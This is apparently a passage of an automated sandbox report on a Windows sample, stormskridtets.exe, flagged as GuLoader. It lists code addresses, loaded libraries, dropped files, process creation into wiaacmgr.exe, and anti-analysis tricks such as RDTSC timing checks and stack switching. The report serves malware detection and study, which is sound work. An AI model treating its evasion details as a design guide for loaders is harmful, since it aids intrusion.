            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742FDC06_2_3742FDC0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740ADE06_2_3740ADE0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37428DBF6_2_37428DBF
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410C006_2_37410C00
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37489C326_2_37489C32
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37400CF26_2_37400CF2
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CFCF26_2_374CFCF2
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B0CB56_2_374B0CB5
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CAB406_2_374CAB40
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CFB766_2_374CFB76
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C6BD76_2_374C6BD7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37485BF06_2_37485BF0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3744DBF96_2_3744DBF9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742FB806_2_3742FB80
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CFA496_2_374CFA49
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C7A466_2_374C7A46
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37483A6C6_2_37483A6C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BDAC66_2_374BDAC6
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740EA806_2_3740EA80
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37455AA06_2_37455AA0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374ADAAC6_2_374ADAAC
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374199506_2_37419950
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742B9506_2_3742B950
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374269626_2_37426962
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374129A06_2_374129A0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374DA9A66_2_374DA9A6
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374128406_2_37412840
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741A8406_2_3741A840
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3747D8006_2_3747D800
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F68B86_2_373F68B8
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374138E06_2_374138E0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E8F06_2_3743E8F0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_047424469_2_04742446
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0473E4F69_2_0473E4F6
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046905359_2_04690535
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_047505919_2_04750591
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046AC6E09_2_046AC6E0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046907709_2_04690770
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046B47509_2_046B4750
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0468C7C09_2_0468C7C0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_047181589_2_04718158
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046801009_2_04680100
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0472A1189_2_0472A118
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_047481CC9_2_047481CC
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_047501AA9_2_047501AA
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_047302749_2_04730274
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_047102C09_2_047102C0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474A3529_2_0474A352
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_047503E69_2_047503E6
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0469E3F09_2_0469E3F0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04690C009_2_04690C00
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04680CF29_2_04680CF2
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04730CB59_2_04730CB5
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0469AD009_2_0469AD00
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0468ADE09_2_0468ADE0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046A8DBF9_2_046A8DBF
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04690E599_2_04690E59
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474EE269_2_0474EE26
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474EEDB9_2_0474EEDB
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474CE939_2_0474CE93
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046A2E909_2_046A2E90
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04704F409_2_04704F40
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046D2F289_2_046D2F28
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046B0F309_2_046B0F30
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0469CFE09_2_0469CFE0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04682FC89_2_04682FC8
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0470EFA09_2_0470EFA0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0469A8409_2_0469A840
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046928409_2_04692840
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046BE8F09_2_046BE8F0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046768B89_2_046768B8
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046A69629_2_046A6962
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046929A09_2_046929A0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0475A9A69_2_0475A9A6
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0468EA809_2_0468EA80
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474AB409_2_0474AB40
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04746BD79_2_04746BD7
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046814609_2_04681460
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474F43F9_2_0474F43F
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_047475719_2_04747571
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0472D5B09_2_0472D5B0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_047416CC9_2_047416CC
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474F7B09_2_0474F7B0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474F0E09_2_0474F0E0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_047470E99_2_047470E9
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046970C09_2_046970C0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0473F0CC9_2_0473F0CC
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C516C9_2_046C516C
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0467F1729_2_0467F172
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0475B16B9_2_0475B16B
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0469B1B09_2_0469B1B0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_047312ED9_2_047312ED
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046AB2C09_2_046AB2C0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046952A09_2_046952A0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0467D34C9_2_0467D34C
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474132D9_2_0474132D
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046D739A9_2_046D739A
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04709C329_2_04709C32
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474FCF29_2_0474FCF2
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04747D739_2_04747D73
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04693D409_2_04693D40
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04741D5A9_2_04741D5A
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046AFDC09_2_046AFDC0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04699EB09_2_04699EB0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474FF099_2_0474FF09
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474FFB19_2_0474FFB1
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04691F929_2_04691F92
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046FD8009_2_046FD800
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046938E09_2_046938E0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046999509_2_04699950
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046AB9509_2_046AB950
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04703A6C9_2_04703A6C
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04747A469_2_04747A46
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474FA499_2_0474FA49
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0473DAC69_2_0473DAC6
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046D5AA09_2_046D5AA0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0472DAAC9_2_0472DAAC
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0474FB769_2_0474FB76
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_04705BF09_2_04705BF0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046CDBF99_2_046CDBF9
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046AFB809_2_046AFB80
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_00411CF09_2_00411CF0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_004153209_2_00415320
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_004135709_2_00413570
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0042B9109_2_0042B910
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0040CC309_2_0040CC30
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0040CE509_2_0040CE50
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0040AED09_2_0040AED0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: String function: 3747EA12 appears 82 times
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: String function: 37445130 appears 36 times
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: String function: 37457E54 appears 96 times
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: String function: 3748F290 appears 103 times
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: String function: 373FB970 appears 265 times
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: String function: 046D7E54 appears 98 times
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: String function: 046FEA12 appears 86 times
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: String function: 046C5130 appears 37 times
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: String function: 0470F290 appears 105 times
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: String function: 0467B970 appears 269 times
            Source: stormskridtets.exeStatic PE information: invalid certificate
            Source: stormskridtets.exe, 00000006.00000003.2431412117.000000003734D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs stormskridtets.exe
            Source: stormskridtets.exe, 00000006.00000003.2489432589.00000000071EB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameWIAACMGR.EXEj% vs stormskridtets.exe
            Source: stormskridtets.exe, 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs stormskridtets.exe
            Source: stormskridtets.exe, 00000006.00000003.2489370826.00000000071D7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameWIAACMGR.EXEj% vs stormskridtets.exe
            Source: stormskridtets.exe, 00000006.00000003.2426394180.0000000037197000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs stormskridtets.exe
            Source: stormskridtets.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
            Source: classification engineClassification label: mal92.troj.evad.winEXE@5/11@0/1
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 0_2_004034A2 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004034A2
            Source: C:\Users\user\Desktop\stormskridtets.exeFile created: C:\Program Files (x86)\Common Files\kvindagtigt.iniJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeFile created: C:\Users\user\kretekniske.iniJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeFile created: C:\Users\user~1\AppData\Local\Temp\nsc9EEA.tmpJump to behavior
            Source: stormskridtets.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\stormskridtets.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: stormskridtets.exeReversingLabs: Detection: 28%
            Source: C:\Users\user\Desktop\stormskridtets.exeFile read: C:\Users\user\Desktop\stormskridtets.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\stormskridtets.exe "C:\Users\user\Desktop\stormskridtets.exe"
            Source: C:\Users\user\Desktop\stormskridtets.exeProcess created: C:\Users\user\Desktop\stormskridtets.exe "C:\Users\user\Desktop\stormskridtets.exe"
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeProcess created: C:\Windows\SysWOW64\wiaacmgr.exe "C:\Windows\SysWOW64\wiaacmgr.exe"
            Source: C:\Users\user\Desktop\stormskridtets.exeProcess created: C:\Users\user\Desktop\stormskridtets.exe "C:\Users\user\Desktop\stormskridtets.exe"Jump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeProcess created: C:\Windows\SysWOW64\wiaacmgr.exe "C:\Windows\SysWOW64\wiaacmgr.exe"Jump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: dwmapi.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: oleacc.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: shfolder.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: riched20.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: usp10.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: msls31.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: textinputframework.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: coreuicomponents.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: textshaping.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\wiaacmgr.exeSection loaded: scansetting.dllJump to behavior
            Source: C:\Windows\SysWOW64\wiaacmgr.exeSection loaded: mfc42u.dllJump to behavior
            Source: C:\Windows\SysWOW64\wiaacmgr.exeSection loaded: msimg32.dllJump to behavior
            Source: C:\Windows\SysWOW64\wiaacmgr.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeFile written: C:\Program Files (x86)\Common Files\kvindagtigt.iniJump to behavior
            Source: stormskridtets.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Source: Binary string: wntdll.pdbUGP source: stormskridtets.exe, 00000006.00000003.2431412117.0000000037220000.00000004.00000020.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: stormskridtets.exe, stormskridtets.exe, 00000006.00000003.2431412117.0000000037220000.00000004.00000020.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, wiaacmgr.exe
            Source: Binary string: wiaacmgr.pdbGCTL source: stormskridtets.exe, 00000006.00000003.2489432589.00000000071EB000.00000004.00000020.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000003.2489370826.00000000071D7000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wiaacmgr.pdb source: stormskridtets.exe, 00000006.00000003.2489432589.00000000071EB000.00000004.00000020.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000003.2489370826.00000000071D7000.00000004.00000020.00020000.00000000.sdmp

            Data Obfuscation

            barindex
            Yara detected GuLoader
            Source: Yara matchFile source: 00000006.00000002.2520847508.0000000003552000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000000.00000002.1942971139.00000000065D2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 0_2_73C91B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,0_2_73C91B5F
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374009AD push ecx; mov dword ptr [esp], ecx6_2_374009B6
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046809AD push ecx; mov dword ptr [esp], ecx9_2_046809B6
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0041C04F push 0000000Dh; iretd 9_2_0041C114
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0040510C push esi; ret 9_2_0040510E
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0041C10C push 0000000Dh; iretd 9_2_0041C114
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_004143B9 push edx; ret 9_2_004143BC
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0040364B push esi; iretd 9_2_0040364C
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0040E6FE pushfd ; retf 9_2_0040E6FF
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_004077BB push esi; retf 9_2_004077BC
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_00415860 push es; retf 9_2_00415916
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_00412871 pushad ; ret 9_2_004128CA
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_004158CA push es; retf 9_2_00415916
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_004158CA push 99CB0563h; retf 9_2_00415971
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0041BDC0 push esp; ret 9_2_0041BE24
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0041BDB3 push esp; ret 9_2_0041BE24
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0041BDB8 push esp; ret 9_2_0041BE24
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_0041BE25 push esp; ret 9_2_0041BE24
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_00407F07 push FFFFFFD4h; ret 9_2_00407F0F
            Source: C:\Users\user\Desktop\stormskridtets.exeFile created: C:\Users\user\AppData\Local\Temp\nseA37F.tmp\System.dllJump to dropped file
            Source: C:\Users\user\Desktop\stormskridtets.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wiaacmgr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wiaacmgr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wiaacmgr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wiaacmgr.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Switches to a custom stack to bypass stack traces
            Source: C:\Users\user\Desktop\stormskridtets.exeAPI/Special instruction interceptor: Address: 6C76E8D
            Source: C:\Users\user\Desktop\stormskridtets.exeAPI/Special instruction interceptor: Address: 3BF6E8D
            Tries to detect virtualization through RDTSC time measurements
            Source: C:\Users\user\Desktop\stormskridtets.exeRDTSC instruction interceptor: First address: 6C4F743 second address: 6C4F743 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FCBA851F7B1h 0x00000006 test edx, 47B753BAh 0x0000000c inc ebp 0x0000000d inc ebx 0x0000000e cmp ax, bx 0x00000011 rdtsc
            Source: C:\Users\user\Desktop\stormskridtets.exeRDTSC instruction interceptor: First address: 3BCF743 second address: 3BCF743 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FCBA851F9E1h 0x00000006 test edx, 47B753BAh 0x0000000c inc ebp 0x0000000d inc ebx 0x0000000e cmp ax, bx 0x00000011 rdtsc
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3747D1C0 rdtsc 6_2_3747D1C0
            Source: C:\Users\user\Desktop\stormskridtets.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nseA37F.tmp\System.dllJump to dropped file
            Source: C:\Users\user\Desktop\stormskridtets.exeAPI coverage: 0.3 %
            Source: C:\Windows\SysWOW64\wiaacmgr.exeAPI coverage: 1.2 %
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 0_2_0040674C FindFirstFileW,FindClose,0_2_0040674C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 0_2_00405B00 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405B00
            Source: stormskridtets.exe, 00000006.00000003.2426686795.00000000071CE000.00000004.00000020.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000002.2531307136.00000000071CE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
